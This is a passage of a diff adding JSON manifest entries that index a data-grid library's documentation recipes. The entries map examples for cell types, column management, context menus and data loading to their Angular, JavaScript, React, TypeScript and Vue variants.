"docsPath": "recipes/cell-types/moment-time/react/example1.tsx", + "file": "recipes__cell-types__moment-time__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based time" + ], + "guide": "recipes/cell-types/moment-time/moment-time.md", + "guideTitle": "Moment.js-based time", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-time", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-time/javascript/example1.ts", + "file": "recipes__cell-types__moment-time__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based time" + ], + "guide": "recipes/cell-types/moment-time/moment-time.md", + "guideTitle": "Moment.js-based time", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-time", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/numbro/angular/example1.ts", + "file": "recipes__cell-types__numbro__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Numbro" + ], + "guide": "recipes/cell-types/numbro/numbro.md", + "guideTitle": "Numbro", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/numbro", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/numbro/javascript/example1.js", + "file": "recipes__cell-types__numbro__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Numbro" + ], + "guide": "recipes/cell-types/numbro/numbro.md", + "guideTitle": "Numbro", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/numbro", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/numbro/react/example1.tsx", + "file": "recipes__cell-types__numbro__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Numbro" + ], + "guide": "recipes/cell-types/numbro/numbro.md", + "guideTitle": "Numbro", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/numbro", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/numbro/javascript/example1.ts", + "file": "recipes__cell-types__numbro__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Numbro" + ], + "guide": "recipes/cell-types/numbro/numbro.md", + "guideTitle": "Numbro", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/numbro", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/pikaday/angular/example1.ts", + "file": "recipes__cell-types__pikaday__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Pikaday" + ], + "guide": "recipes/cell-types/pikaday/pikaday.md", + "guideTitle": "Pikaday", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/pikaday", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/pikaday/javascript/example1.js", + "file": "recipes__cell-types__pikaday__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Pikaday" + ], + "guide": "recipes/cell-types/pikaday/pikaday.md", + "guideTitle": "Pikaday", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/pikaday", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/pikaday/react/example1.tsx", + "file": "recipes__cell-types__pikaday__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Pikaday" + ], + "guide": "recipes/cell-types/pikaday/pikaday.md", + "guideTitle": "Pikaday", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/pikaday", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/pikaday/javascript/example1.ts", + "file": "recipes__cell-types__pikaday__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Pikaday" + ], + "guide": "recipes/cell-types/pikaday/pikaday.md", + "guideTitle": "Pikaday", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/pikaday", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/radio/angular/example1.ts", + "file": "recipes__cell-types__radio__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Radio buttons" + ], + "guide": "recipes/cell-types/radio/radio.md", + "guideTitle": "Radio buttons", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/radio", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/radio/javascript/example1.js", + "file": "recipes__cell-types__radio__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Radio buttons" + ], + "guide": "recipes/cell-types/radio/radio.md", + "guideTitle": "Radio buttons", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/radio", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/radio/react/example1.tsx", + "file": "recipes__cell-types__radio__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Radio buttons" + ], + "guide": "recipes/cell-types/radio/radio.md", + "guideTitle": "Radio buttons", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/radio", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/radio/javascript/example1.ts", + "file": "recipes__cell-types__radio__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Radio buttons" + ], + "guide": "recipes/cell-types/radio/radio.md", + "guideTitle": "Radio buttons", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/radio", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/radio/vue/example1.vue", + "file": "recipes__cell-types__radio__vue__example1.vue.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Radio buttons" + ], + "guide": "recipes/cell-types/radio/radio.md", + "guideTitle": "Radio buttons", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/radio", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/guide-rating-angular/angular/example1.ts", + "file": "recipes__cell-types__guide-rating-angular__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating Editor" + ], + "guide": "recipes/cell-types/guide-rating-angular/guide-rating.md", + "guideTitle": "Star Rating Editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/rating-angular", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/rating/angular/example1.ts", + "file": "recipes__cell-types__rating__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating" + ], + "guide": "recipes/cell-types/rating/rating.md", + "guideTitle": "Star Rating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/rating", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/rating/javascript/example1.js", + "file": "recipes__cell-types__rating__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating" + ], + "guide": "recipes/cell-types/rating/rating.md", + "guideTitle": "Star Rating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/rating", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/rating/react/example1.tsx", + "file": "recipes__cell-types__rating__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating" + ], + "guide": "recipes/cell-types/rating/rating.md", + "guideTitle": "Star Rating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/rating", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/react-rating/react/example1.tsx", + "file": "recipes__cell-types__react-rating__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating" + ], + "guide": "recipes/cell-types/react-rating/react-rating.md", + "guideTitle": "Star Rating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/react-rating", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/rating/javascript/example1.ts", + "file": "recipes__cell-types__rating__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Star Rating" + ], + "guide": "recipes/cell-types/rating/rating.md", + "guideTitle": "Star Rating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/rating", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/column-visibility/angular/example1.ts", + "file": "recipes__column-management__column-visibility__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Build a dynamic column visibility toggle" + ], + "guide": "recipes/column-management/column-visibility/column-visibility.md", + "guideTitle": "Build a dynamic column visibility toggle", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/column-visibility", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/column-visibility/javascript/example1.js", + "file": "recipes__column-management__column-visibility__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Build a dynamic column visibility toggle" + ], + "guide": "recipes/column-management/column-visibility/column-visibility.md", + "guideTitle": "Build a dynamic column visibility toggle", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/column-visibility", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/column-visibility/react/example1.tsx", + "file": "recipes__column-management__column-visibility__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Build a dynamic column visibility toggle" + ], + "guide": "recipes/column-management/column-visibility/column-visibility.md", + "guideTitle": "Build a dynamic column visibility toggle", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/column-visibility", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/column-visibility/javascript/example1.ts", + "file": "recipes__column-management__column-visibility__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Build a dynamic column visibility toggle" + ], + "guide": "recipes/column-management/column-visibility/column-visibility.md", + "guideTitle": "Build a dynamic column visibility toggle", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/column-visibility", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/freeze-columns/angular/example1.ts", + "file": "recipes__column-management__freeze-columns__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Freeze and unfreeze columns at runtime" + ], + "guide": "recipes/column-management/freeze-columns/freeze-columns.md", + "guideTitle": "Freeze and unfreeze columns at runtime", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/freeze-columns", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/freeze-columns/javascript/example1.js", + "file": "recipes__column-management__freeze-columns__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Freeze and unfreeze columns at runtime" + ], + "guide": "recipes/column-management/freeze-columns/freeze-columns.md", + "guideTitle": "Freeze and unfreeze columns at runtime", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/freeze-columns", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/column-management/freeze-columns/react/example1.tsx", + "file": "recipes__column-management__freeze-columns__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Column Management", + "Freeze and unfreeze columns at runtime" + ], + "guide": "recipes/column-management/freeze-columns/freeze-columns.md", + "guideTitle": "Freeze and unfreeze columns at runtime", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/column-management/freeze-columns", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/custom-context-menu/angular/example1.ts", + "file": "recipes__context-menu__custom-context-menu__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Custom context menu actions" + ], + "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", + "guideTitle": "Custom context menu actions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/custom-context-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/custom-context-menu/javascript/example1.js", + "file": "recipes__context-menu__custom-context-menu__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Custom context menu actions" + ], + "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", + "guideTitle": "Custom context menu actions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/custom-context-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/custom-context-menu/react/example1.tsx", + "file": "recipes__context-menu__custom-context-menu__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Custom context menu actions" + ], + "guide": "recipes/context-menu/custom-context-menu/custom-context-menu.md", + "guideTitle": "Custom context menu actions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/custom-context-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/row-operations/angular/example1.ts", + "file": "recipes__context-menu__row-operations__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Programmatic row operations" + ], + "guide": "recipes/context-menu/row-operations/row-operations.md", + "guideTitle": "Programmatic row operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/row-operations", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/row-operations/javascript/example1.js", + "file": "recipes__context-menu__row-operations__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Programmatic row operations" + ], + "guide": "recipes/context-menu/row-operations/row-operations.md", + "guideTitle": "Programmatic row operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/row-operations", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/row-operations/react/example1.tsx", + "file": "recipes__context-menu__row-operations__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Programmatic row operations" + ], + "guide": "recipes/context-menu/row-operations/row-operations.md", + "guideTitle": "Programmatic row operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/row-operations", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/context-menu/row-operations/javascript/example1.ts", + "file": "recipes__context-menu__row-operations__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Context Menu", + "Programmatic row operations" + ], + "guide": "recipes/context-menu/row-operations/row-operations.md", + "guideTitle": "Programmatic row operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/context-menu/row-operations", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/auto-save-backend/angular/example1.ts", + "file": "recipes__data-management__auto-save-backend__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Auto-save changes to a backend" + ], + "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", + "guideTitle": "Auto-save changes to a backend", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/auto-save-backend", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/auto-save-backend/javascript/example1.js", + "file": "recipes__data-management__auto-save-backend__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Auto-save changes to a backend" + ], + "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", + "guideTitle": "Auto-save changes to a backend", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/auto-save-backend", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/auto-save-backend/react/example1.tsx", + "file": "recipes__data-management__auto-save-backend__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Auto-save changes to a backend" + ], + "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", + "guideTitle": "Auto-save changes to a backend", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/auto-save-backend", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/auto-save-backend/javascript/example1.ts", + "file": "recipes__data-management__auto-save-backend__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Auto-save changes to a backend" + ], + "guide": "recipes/data-management/auto-save-backend/auto-save-backend.md", + "guideTitle": "Auto-save changes to a backend", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/auto-save-backend", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/angular/example1.ts", + "file": "recipes__data-management__load-data-graphql__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/javascript/example1.js", + "file": "recipes__data-management__load-data-graphql__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/react/example1.tsx", + "file": "recipes__data-management__load-data-graphql__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/javascript/example1.ts", + "file": "recipes__data-management__load-data-graphql__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/angular/example2.ts", + "file": "recipes__data-management__load-data-graphql__angular__example2.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/javascript/example2.js", + "file": "recipes__data-management__load-data-graphql__javascript__example2.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/react/example2.tsx", + "file": "recipes__data-management__load-data-graphql__react__example2.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-graphql/javascript/example2.ts", + "file": "recipes__data-management__load-data-graphql__javascript__example2.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a GraphQL API" + ], + "guide": "recipes/data-management/load-data-graphql/load-data-graphql.md", + "guideTitle": "Load data from a GraphQL API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-graphql", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/angular/example1.ts", + "file": "recipes__data-management__load-data-rest-api__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example1.js", + "file": "recipes__data-management__load-data-rest-api__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/react/example1.tsx", + "file": "recipes__data-management__load-data-rest-api__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example1.ts", + "file": "recipes__data-management__load-data-rest-api__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/angular/example2.ts", + "file": "recipes__data-management__load-data-rest-api__angular__example2.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example2.js", + "file": "recipes__data-management__load-data-rest-api__javascript__example2.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/react/example2.tsx", + "file": "recipes__data-management__load-data-rest-api__react__example2.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example2.ts", + "file": "recipes__data-management__load-data-rest-api__javascript__example2.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example2", + "exampleTitle": "Using updateData() to preserve sorting and other states", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/angular/example3.ts", + "file": "recipes__data-management__load-data-rest-api__angular__example3.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example3", + "exampleTitle": "Using dataProvider for automatic pagination and sorting", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example3.js", + "file": "recipes__data-management__load-data-rest-api__javascript__example3.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example3", + "exampleTitle": "Using dataProvider for automatic pagination and sorting", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/react/example3.tsx", + "file": "recipes__data-management__load-data-rest-api__react__example3.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example3", + "exampleTitle": "Using dataProvider for automatic pagination and sorting", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/load-data-rest-api/javascript/example3.ts", + "file": "recipes__data-management__load-data-rest-api__javascript__example3.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Load data from a REST API" + ], + "guide": "recipes/data-management/load-data-rest-api/load-data-rest-api.md", + "guideTitle": "Load data from a REST API", + "exampleId": "example3", + "exampleTitle": "Using dataProvider for automatic pagination and sorting", + "docPermalink": "/recipes/data-management/load-data-rest-api", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/sync-two-grids/angular/example1.ts", + "file": "recipes__data-management__sync-two-grids__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Sync two grids" + ], + "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", + "guideTitle": "Sync two grids", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/sync-two-grids", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/sync-two-grids/javascript/example1.js", + "file": "recipes__data-management__sync-two-grids__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Sync two grids" + ], + "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", + "guideTitle": "Sync two grids", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/sync-two-grids", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/sync-two-grids/react/example1.tsx", + "file": "recipes__data-management__sync-two-grids__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Sync two grids" + ], + "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", + "guideTitle": "Sync two grids", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/sync-two-grids", + "framework": "react", + "displayName": "React (TS)" + }, + { + 